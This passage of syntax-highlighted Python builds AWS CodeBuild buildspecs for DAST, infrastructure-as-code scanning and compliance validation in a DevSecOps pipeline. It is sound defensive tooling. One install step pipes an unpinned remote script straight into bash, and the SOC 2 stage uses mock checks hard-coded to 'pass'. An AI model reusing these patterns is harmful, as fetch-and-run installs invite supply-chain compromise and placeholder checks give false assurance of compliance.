        dast_summary[</span><span class="sh">'</span><span class="s">information_disclosure</span><span class="sh">'</span><span class="s">] = len(custom_data.get(</span><span class="sh">'</span><span class="s">information_disclosure</span><span class="sh">'</span><span class="s">, []))
        
        # Count potential XSS issues
        dast_summary[</span><span class="sh">'</span><span class="s">potential_xss</span><span class="sh">'</span><span class="s">] = len(custom_data.get(</span><span class="sh">'</span><span class="s">xss_tests</span><span class="sh">'</span><span class="s">, []))
        
except:
    pass

# Save summary
with open(</span><span class="sh">'</span><span class="s">dast_summary.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(dast_summary, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">DAST testing complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Total vulnerabilities: {dast_summary[</span><span class="se">\"</span><span class="s">total_vulnerabilities</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">High risk: {dast_summary[</span><span class="se">\"</span><span class="s">high_risk</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Medium risk: {dast_summary[</span><span class="se">\"</span><span class="s">medium_risk</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Low risk: {dast_summary[</span><span class="se">\"</span><span class="s">low_risk</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Missing security headers: {dast_summary[</span><span class="se">\"</span><span class="s">security_headers</span><span class="se">\"</span><span class="s">][</span><span class="se">\"</span><span class="s">missing</span><span class="se">\"</span><span class="s">]}/{dast_summary[</span><span class="se">\"</span><span class="s">security_headers</span><span class="se">\"</span><span class="s">][</span><span class="se">\"</span><span class="s">total_checked</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Information disclosure issues: {dast_summary[</span><span class="se">\"</span><span class="s">information_disclosure</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Potential XSS issues: {dast_summary[</span><span class="se">\"</span><span class="s">potential_xss</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)

# Security gate: fail if high risk vulnerabilities or missing critical headers
if (dast_summary[</span><span class="sh">'</span><span class="s">high_risk</span><span class="sh">'</span><span class="s">] &gt; 0 or 
    dast_summary[</span><span class="sh">'</span><span class="s">security_headers</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">missing</span><span class="sh">'</span><span class="s">] &gt; 2 or
    dast_summary[</span><span class="sh">'</span><span class="s">potential_xss</span><span class="sh">'</span><span class="s">] &gt; 0):
    print(</span><span class="sh">'</span><span class="s">SECURITY GATE FAILURE: High risk vulnerabilities or critical security issues found</span><span class="sh">'</span><span class="s">)
    sys.exit(1)
</span><span class="sh">"</span><span class="s">
  
  post_build:
    commands:
      - echo DAST testing completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">DAST testing failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">DAST testing failed. High risk vulnerabilities detected in running application.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - dast_summary.json
    - zap_results.json
    - zap_baseline_results.xml
    - nikto_results.json
    - custom_security_tests.json

environment:
  variables:
    APPLICATION_URL: http://staging-lb-12345.us-east-1.elb.amazonaws.com
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">get_infrastructure_scanning_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for infrastructure scanning</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.9
    commands:
      # Install Checkov for infrastructure scanning
      - pip install checkov
      
      # Install Terraform security scanner (tfsec)
      - curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
      
      # Install cfn-lint for CloudFormation
      - pip install cfn-lint
      
      # Install Terrascan
      - curl -L </span><span class="sh">"</span><span class="s">$(curl -s https://api.github.com/repos/tenable/terrascan/releases/latest | grep -o -E </span><span class="sh">"</span><span class="s">https://.+?_Linux_x86_64.tar.gz</span><span class="sh">"</span><span class="s">)</span><span class="sh">"</span><span class="s"> &gt; terrascan.tar.gz
      - tar -xf terrascan.tar.gz terrascan &amp;&amp; rm terrascan.tar.gz
      - install terrascan /usr/local/bin
  
  pre_build:
    commands:
      - echo Starting Infrastructure as Code security scanning...
  
  build:
    commands:
      # CloudFormation template scanning
      - |
        echo </span><span class="sh">"</span><span class="s">Scanning CloudFormation templates...</span><span class="sh">"</span><span class="s">
        find . -name </span><span class="sh">"</span><span class="s">*.yaml</span><span class="sh">"</span><span class="s"> -o -name </span><span class="sh">"</span><span class="s">*.yml</span><span class="sh">"</span><span class="s"> -o -name </span><span class="sh">"</span><span class="s">*.json</span><span class="sh">"</span><span class="s"> | grep -E </span><span class="sh">"</span><span class="s">(template|cloudformation|cfn)</span><span class="sh">"</span><span class="s"> | while read template; do
          echo </span><span class="sh">"</span><span class="s">Scanning CloudFormation template: $template</span><span class="sh">"</span><span class="s">
          cfn-lint </span><span class="sh">"</span><span class="s">$template</span><span class="sh">"</span><span class="s"> --format json &gt; </span><span class="sh">"</span><span class="s">cfn_lint_$(basename $template).json</span><span class="sh">"</span><span class="s"> 2&gt;/dev/null || true
          checkov -f </span><span class="sh">"</span><span class="s">$template</span><span class="sh">"</span><span class="s"> --framework cloudformation --output json &gt; </span><span class="sh">"</span><span class="s">checkov_cfn_$(basename $template).json</span><span class="sh">"</span><span class="s"> 2&gt;/dev/null || true
        done
      
      # Terraform configuration scanning
      - |
        if find . -name </span><span class="sh">"</span><span class="s">*.tf</span><span class="sh">"</span><span class="s"> | head -1 | grep -q </span><span class="sh">"</span><span class="s">\.tf$</span><span class="sh">"</span><span class="s">; then
          echo </span><span class="sh">"</span><span class="s">Scanning Terraform configurations...</span><span class="sh">"</span><span class="s">
          
          # Run tfsec
          tfsec . --format json &gt; tfsec_results.json 2&gt;/dev/null || true
          
          # Run Checkov on Terraform
          checkov -d . --framework terraform --output json &gt; checkov_terraform_results.json 2&gt;/dev/null || true
          
          # Run Terrascan
          terrascan scan -t terraform -f json &gt; terrascan_results.json 2&gt;/dev/null || true
        fi
      
      # Kubernetes manifest scanning
      - |
        if find . -name </span><span class="sh">"</span><span class="s">*.yaml</span><span class="sh">"</span><span class="s"> -o -name </span><span class="sh">"</span><span class="s">*.yml</span><span class="sh">"</span><span class="s"> | xargs grep -l </span><span class="sh">"</span><span class="s">apiVersion\|kind:</span><span class="sh">"</span><span class="s"> | head -1; then
          echo </span><span class="sh">"</span><span class="s">Scanning Kubernetes manifests...</span><span class="sh">"</span><span class="s">
          find . -name </span><span class="sh">"</span><span class="s">*.yaml</span><span class="sh">"</span><span class="s"> -o -name </span><span class="sh">"</span><span class="s">*.yml</span><span class="sh">"</span><span class="s"> | xargs grep -l </span><span class="sh">"</span><span class="s">apiVersion\|kind:</span><span class="sh">"</span><span class="s"> | while read manifest; do
            checkov -f </span><span class="sh">"</span><span class="s">$manifest</span><span class="sh">"</span><span class="s"> --framework kubernetes --output json &gt; </span><span class="sh">"</span><span class="s">checkov_k8s_$(basename $manifest).json</span><span class="sh">"</span><span class="s"> 2&gt;/dev/null || true
          done
        fi
      
      # Docker configuration scanning
      - |
        if [ -f </span><span class="sh">"</span><span class="s">Dockerfile</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Scanning Dockerfile...</span><span class="sh">"</span><span class="s">
          checkov -f Dockerfile --framework dockerfile --output json &gt; checkov_docker_results.json 2&gt;/dev/null || true
        fi
      
      # Aggregate infrastructure scanning results
      - python3 -c </span><span class="sh">"</span><span class="s">
import json
import sys
import glob
import os

infra_summary = {
    </span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">scanned_files</span><span class="sh">'</span><span class="s">: []
}

# Process CFN-Lint results
cfn_lint_files = glob.glob(</span><span class="sh">'</span><span class="s">cfn_lint_*.json</span><span class="sh">'</span><span class="s">)
if cfn_lint_files:
    infra_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">cfn-lint</span><span class="sh">'</span><span class="s">)
    for file in cfn_lint_files:
        try:
            with open(file, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
                cfn_data = json.load(f)
                for issue in cfn_data:
                    level = issue.get(</span><span class="sh">'</span><span class="s">Level</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">Warning</span><span class="sh">'</span><span class="s">).lower()
                    infra_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                    if level == </span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="s">:
                        infra_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                    else:
                        infra_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
                infra_summary[</span><span class="sh">'</span><span class="s">scanned_files</span><span class="sh">'</span><span class="s">].append(file)
        except:
            pass

# Process Checkov results
checkov_files = glob.glob(</span><span class="sh">'</span><span class="s">checkov_*.json</span><span class="sh">'</span><span class="s">)
if checkov_files:
    infra_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">checkov</span><span class="sh">'</span><span class="s">)
    for file in checkov_files:
        try:
            with open(file, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
                checkov_data = json.load(f)
                if </span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s"> in checkov_data and </span><span class="sh">'</span><span class="s">failed_checks</span><span class="sh">'</span><span class="s"> in checkov_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">]:
                    for check in checkov_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">failed_checks</span><span class="sh">'</span><span class="s">]:
                        severity = check.get(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">).upper()
                        infra_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                        if severity == </span><span class="sh">'</span><span class="s">CRITICAL</span><span class="sh">'</span><span class="s">:
                            infra_summary[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">] += 1
                        elif severity == </span><span class="sh">'</span><span class="s">HIGH</span><span class="sh">'</span><span class="s">:
                            infra_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                        elif severity == </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">:
                            infra_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
                        else:
                            infra_summary[</span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">] += 1
                infra_summary[</span><span class="sh">'</span><span class="s">scanned_files</span><span class="sh">'</span><span class="s">].append(file)
        except:
            pass

# Process tfsec results
try:
    with open(</span><span class="sh">'</span><span class="s">tfsec_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        tfsec_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s"> in tfsec_data:
            for result in tfsec_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">]:
                severity = result.get(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">).upper()
                infra_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                if severity == </span><span class="sh">'</span><span class="s">CRITICAL</span><span class="sh">'</span><span class="s">:
                    infra_summary[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">] += 1
                elif severity == </span><span class="sh">'</span><span class="s">HIGH</span><span class="sh">'</span><span class="s">:
                    infra_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                elif severity == </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">:
                    infra_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
                else:
                    infra_summary[</span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">] += 1
    infra_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">tfsec</span><span class="sh">'</span><span class="s">)
    infra_summary[</span><span class="sh">'</span><span class="s">scanned_files</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">tfsec_results.json</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process Terrascan results
try:
    with open(</span><span class="sh">'</span><span class="s">terrascan_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        terrascan_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s"> in terrascan_data and </span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="s"> in terrascan_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">]:
            for violation in terrascan_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="s">]:
                severity = violation.get(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">).upper()
                infra_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                if severity == </span><span class="sh">'</span><span class="s">HIGH</span><span class="sh">'</span><span class="s">:
                    infra_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                elif severity == </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">:
                    infra_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
                else:
                    infra_summary[</span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">] += 1
    infra_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">terrascan</span><span class="sh">'</span><span class="s">)
    infra_summary[</span><span class="sh">'</span><span class="s">scanned_files</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">terrascan_results.json</span><span class="sh">'</span><span class="s">)
except:
    pass

# Save summary
with open(</span><span class="sh">'</span><span class="s">infrastructure_scan_summary.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(infra_summary, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">Infrastructure scanning complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Total issues: {infra_summary[</span><span class="se">\"</span><span class="s">total_issues</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Critical: {infra_summary[</span><span class="se">\"</span><span class="s">critical</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">High: {infra_summary[</span><span class="se">\"</span><span class="s">high</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Medium: {infra_summary[</span><span class="se">\"</span><span class="s">medium</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Low: {infra_summary[</span><span class="se">\"</span><span class="s">low</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Tools used: {infra_summary[</span><span class="se">\"</span><span class="s">tools_used</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Files scanned: {len(infra_summary[</span><span class="se">\"</span><span class="s">scanned_files</span><span class="se">\"</span><span class="s">])}</span><span class="sh">'</span><span class="s">)

# Security gate: fail if critical issues or too many high issues
if infra_summary[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">] &gt; 0 or infra_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] &gt; 15:
    print(</span><span class="sh">'</span><span class="s">SECURITY GATE FAILURE: Critical infrastructure security issues found</span><span class="sh">'</span><span class="s">)
    sys.exit(1)
</span><span class="sh">"</span><span class="s">
  
  post_build:
    commands:
      - echo Infrastructure scanning completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">Infrastructure scanning failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">Infrastructure security scan failed. Critical misconfigurations detected.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - infrastructure_scan_summary.json
    - cfn_lint_*.json
    - checkov_*.json
    - tfsec_results.json
    - terrascan_results.json
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">get_compliance_validation_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for compliance validation</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.9
    commands:
      # Install AWS Config Rules evaluation tools
      - pip install boto3 botocore
      
      # Install compliance scanning tools
      - pip install checkov prowler
      
      # Install Cloud Custodian for policy validation
      - pip install c7n c7n-org
  
  pre_build:
    commands:
      - echo Starting compliance validation...
  
  build:
    commands:
      # Run AWS Config compliance checks
      - |
        echo </span><span class="sh">"</span><span class="s">Evaluating AWS Config compliance rules...</span><span class="sh">"</span><span class="s">
        python3 -c </span><span class="sh">"</span><span class="s">
import boto3
import json

config_client = boto3.client(</span><span class="sh">'</span><span class="s">config</span><span class="sh">'</span><span class="s">)
compliance_summary = {
    </span><span class="sh">'</span><span class="s">total_rules</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">compliant</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">non_compliant</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">insufficient_data</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">not_applicable</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">compliance_score</span><span class="sh">'</span><span class="s">: 0.0
}

try:
    # Get compliance summary
    response = config_client.get_compliance_summary_by_config_rule()
    
    summary = response[</span><span class="sh">'</span><span class="s">ComplianceSummary</span><span class="sh">'</span><span class="s">]
    compliance_summary[</span><span class="sh">'</span><span class="s">compliant</span><span class="sh">'</span><span class="s">] = summary.get(</span><span class="sh">'</span><span class="s">ComplianceByConfigRule</span><span class="sh">'</span><span class="s">, {}).get(</span><span class="sh">'</span><span class="s">COMPLIANT</span><span class="sh">'</span><span class="s">, 0)
    compliance_summary[</span><span class="sh">'</span><span class="s">non_compliant</span><span class="sh">'</span><span class="s">] = summary.get(</span><span class="sh">'</span><span class="s">ComplianceByConfigRule</span><span class="sh">'</span><span class="s">, {}).get(</span><span class="sh">'</span><span class="s">NON_COMPLIANT</span><span class="sh">'</span><span class="s">, 0)
    compliance_summary[</span><span class="sh">'</span><span class="s">insufficient_data</span><span class="sh">'</span><span class="s">] = summary.get(</span><span class="sh">'</span><span class="s">ComplianceByConfigRule</span><span class="sh">'</span><span class="s">, {}).get(</span><span class="sh">'</span><span class="s">INSUFFICIENT_DATA</span><span class="sh">'</span><span class="s">, 0)
    compliance_summary[</span><span class="sh">'</span><span class="s">not_applicable</span><span class="sh">'</span><span class="s">] = summary.get(</span><span class="sh">'</span><span class="s">ComplianceByConfigRule</span><span class="sh">'</span><span class="s">, {}).get(</span><span class="sh">'</span><span class="s">NOT_APPLICABLE</span><span class="sh">'</span><span class="s">, 0)
    
    compliance_summary[</span><span class="sh">'</span><span class="s">total_rules</span><span class="sh">'</span><span class="s">] = (compliance_summary[</span><span class="sh">'</span><span class="s">compliant</span><span class="sh">'</span><span class="s">] + 
                                       compliance_summary[</span><span class="sh">'</span><span class="s">non_compliant</span><span class="sh">'</span><span class="s">] + 
                                       compliance_summary[</span><span class="sh">'</span><span class="s">insufficient_data</span><span class="sh">'</span><span class="s">] + 
                                       compliance_summary[</span><span class="sh">'</span><span class="s">not_applicable</span><span class="sh">'</span><span class="s">])
    
    if compliance_summary[</span><span class="sh">'</span><span class="s">total_rules</span><span class="sh">'</span><span class="s">] &gt; 0:
        compliance_summary[</span><span class="sh">'</span><span class="s">compliance_score</span><span class="sh">'</span><span class="s">] = (compliance_summary[</span><span class="sh">'</span><span class="s">compliant</span><span class="sh">'</span><span class="s">] / 
                                                 compliance_summary[</span><span class="sh">'</span><span class="s">total_rules</span><span class="sh">'</span><span class="s">]) * 100
    
    # Get detailed compliance information
    rules_response = config_client.describe_config_rules()
    detailed_compliance = []
    
    for rule in rules_response[</span><span class="sh">'</span><span class="s">ConfigRules</span><span class="sh">'</span><span class="s">]:
        rule_name = rule[</span><span class="sh">'</span><span class="s">ConfigRuleName</span><span class="sh">'</span><span class="s">]
        try:
            compliance_response = config_client.get_compliance_details_by_config_rule(
                ConfigRuleName=rule_name
            )
            
            for result in compliance_response[</span><span class="sh">'</span><span class="s">EvaluationResults</span><span class="sh">'</span><span class="s">]:
                detailed_compliance.append({
                    </span><span class="sh">'</span><span class="s">rule_name</span><span class="sh">'</span><span class="s">: rule_name,
                    </span><span class="sh">'</span><span class="s">resource_type</span><span class="sh">'</span><span class="s">: result[</span><span class="sh">'</span><span class="s">EvaluationResultIdentifier</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">EvaluationResultQualifier</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="s">],
                    </span><span class="sh">'</span><span class="s">resource_id</span><span class="sh">'</span><span class="s">: result[</span><span class="sh">'</span><span class="s">EvaluationResultIdentifier</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">EvaluationResultQualifier</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">ResourceId</span><span class="sh">'</span><span class="s">],
                    </span><span class="sh">'</span><span class="s">compliance_type</span><span class="sh">'</span><span class="s">: result[</span><span class="sh">'</span><span class="s">ComplianceType</span><span class="sh">'</span><span class="s">],
                    </span><span class="sh">'</span><span class="s">result_recorded_time</span><span class="sh">'</span><span class="s">: result[</span><span class="sh">'</span><span class="s">ResultRecordedTime</span><span class="sh">'</span><span class="s">].isoformat() if </span><span class="sh">'</span><span class="s">ResultRecordedTime</span><span class="sh">'</span><span class="s"> in result else None
                })
        except Exception as e:
            print(f</span><span class="sh">'</span><span class="s">Error getting compliance details for rule {rule_name}: {e}</span><span class="sh">'</span><span class="s">)
    
    # Save results
    with open(</span><span class="sh">'</span><span class="s">aws_config_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
        json.dump({
            </span><span class="sh">'</span><span class="s">summary</span><span class="sh">'</span><span class="s">: compliance_summary,
            </span><span class="sh">'</span><span class="s">detailed_results</span><span class="sh">'</span><span class="s">: detailed_compliance
        }, f, indent=2, default=str)
    
    print(f</span><span class="sh">'</span><span class="s">AWS Config compliance check complete:</span><span class="sh">'</span><span class="s">)
    print(f</span><span class="sh">'</span><span class="s">Total rules: {compliance_summary[</span><span class="se">\"</span><span class="s">total_rules</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
    print(f</span><span class="sh">'</span><span class="s">Compliant: {compliance_summary[</span><span class="se">\"</span><span class="s">compliant</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
    print(f</span><span class="sh">'</span><span class="s">Non-compliant: {compliance_summary[</span><span class="se">\"</span><span class="s">non_compliant</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
    print(f</span><span class="sh">'</span><span class="s">Compliance score: {compliance_summary[</span><span class="se">\"</span><span class="s">compliance_score</span><span class="se">\"</span><span class="s">]:.1f}%</span><span class="sh">'</span><span class="s">)

except Exception as e:
    print(f</span><span class="sh">'</span><span class="s">Error running AWS Config compliance check: {e}</span><span class="sh">'</span><span class="s">)
    with open(</span><span class="sh">'</span><span class="s">aws_config_compliance.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
        json.dump({</span><span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="s">: str(e)}, f)
</span><span class="sh">"</span><span class="s">
      
      # Run Prowler for CIS benchmark compliance
      - |
        echo </span><span class="sh">"</span><span class="s">Running Prowler CIS benchmark checks...</span><span class="sh">"</span><span class="s">
        prowler aws --output-modes json --output-file prowler_results.json || true
      
      # Run SOC 2 Type II compliance checks
      - |
        echo </span><span class="sh">"</span><span class="s">Running SOC 2 compliance validation...</span><span class="sh">"</span><span class="s">
        python3 -c </span><span class="sh">"</span><span class="s">
import boto3
import json

soc2_compliance = {
    </span><span class="sh">'</span><span class="s">security</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">: [],
        </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.3
    },
    </span><span class="sh">'</span><span class="s">availability</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">: [],
        </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.2
    },
    </span><span class="sh">'</span><span class="s">processing_integrity</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">: [],
        </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.2
    },
    </span><span class="sh">'</span><span class="s">confidentiality</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">: [],
        </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.15
    },
    </span><span class="sh">'</span><span class="s">privacy</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">score</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">checks</span><span class="sh">'</span><span class="s">: [],
        </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.15
    },
    </span><span class="sh">'</span><span class="s">overall_score</span><span class="sh">'</span><span class="s">: 0
}

# Mock SOC 2 compliance checks (in real implementation, these would be actual checks)
security_checks = [
    {</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">Multi-factor authentication enabled</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">pass</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">weight</span><span class="sh">'</span><span class="s">: 0.3},
